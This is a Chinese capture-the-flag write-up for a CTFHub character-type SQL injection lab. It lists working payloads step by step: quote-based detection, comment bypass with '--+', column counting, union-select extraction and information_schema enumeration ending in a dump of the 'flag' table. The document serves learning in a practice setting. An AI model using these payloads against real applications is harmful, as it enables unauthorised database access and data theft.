CTFHUB-WEB-字符型SQL注入
我们先就这此题来了解下如何去判断是否是字符串注入
如何去判断
1.加单引号,由于固定情况下,数据库此时的语句为select * from table where name = ‘admin’
,加入单引号会引起报错,页面不回返
id=1'
2.加入
?id=1' and 1=1
这里就需要加注释来进行绕过
一开始我想使用#来进行注释,结果发现被网页转码了,我们换一种注释–,为了防止再次被转码,我们在–后面加上+
id=1' and 1=1--+
3.输入
id=1' and 1=2--+
发现页面再次报错,这个时候就可以确认是字符型注入了
解题思路:
首先查询字段
id=1' order by 1--+
当参数为3时报错,说明字段数为2
使用union联合查询查看注入点
id=1' union select 1,2--+
我们发现注入成功却只返回了一条信息,是因为这里页面只能显示一条信息,这里我们将1改为-1进行注入,就可以返回我们需要知道的信息点
id=-1' union select 1,2--+
我们可以得知要查询的信息放在了第二个列处
查询当前数据库名
?id=-1' union select 1,database()--+
id=-1' union select table_schema,group_concat(table_name) from information_schema.tables where table_schema='sqli' --+
查询数据库sqli中的表名
union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
获取所有字段名
查询数据库指定表的列的内容
union select 1,group_concat(flag) from sqli.flag --+